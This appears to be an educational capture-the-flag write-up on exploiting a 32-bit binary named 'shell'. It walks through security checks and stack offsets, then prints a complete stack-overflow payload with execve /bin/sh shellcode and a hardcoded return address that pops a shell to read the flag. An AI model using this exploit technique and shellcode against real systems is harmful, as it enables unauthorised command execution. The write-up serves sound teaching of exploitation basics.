shell

This binary is arguably more difficult than `location`, and will prove to be a lot more annoying. We'll understand why this is the case in a minute, but it lives up to the description that shellcodes may not be a good solution in all cases.

Security Measures

Checking security we see that

```
$ checksec shell
[*] '/home/joybuzzer/Documents/vunrotc/public/02-
shellcodes/shell/src/shell'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments
```

We notice the stack is executable, meaning that shellcode is a possibility. The existence of a buffer overflow means that we can overwrite the return address of the function to jump to our shellcode.

We note that PIE is turned off. For the sake of simplicity, ASLR is turned off on the remote server, meaning that addresses are going to be static. This means that the write location is going to be static.

Static Analysis

Checking the functions of the binary, it seems that `main()` and `read_in()` are the only functions that aren't standard library functions. Since there is no `win()`, we need to get the flag some other way. We choose popping a shell because (1) the stack is executable, (2) the stack is smashable, and (3) we can't get the flag any other way.

We see that `read_in()` allocates a buffer that is `0x134` large for our input. This is a *lot* of room for us to use for shellcode.

Crafting a Payload

This is going to be very similar to how it was done in `location`, so many details are omitted.

We use the same shellcode because the code follows the same architecture. We know that we need to adjust the buffer to size `0x138` to reach the return pointer.

The main difference is getting the address to jump. Unlike `location`, we are not provided this address. However, we discussed earlier that the address is statically-chosen, meaning that we have a tactical advantage. By looking in `gdb` at the location the binary chooses for writing, we have the address.

```
gef➤  p/x $ebp-0x134
$1 = 0xffffd484
```

We use this for our address we jump to. This makes the payload:

```
payload =
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\
xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload = payload.ljust(0x138, b'A')
payload += p32(0xffffd484)
```

Sending it Off

Just like the other binaries, we define the process and send it off. Just like that, we pop a shell, and can `cat flag.txt` to get the flag.

***Some Final Notes**: This threat model is very unlikely in reality. Having this many security features disabled is not something you're likely to see. This is more an intro as to what shellcode is capable of. You should understand the basics of what the shellcode does, and then how to execute shellcode against a binary.*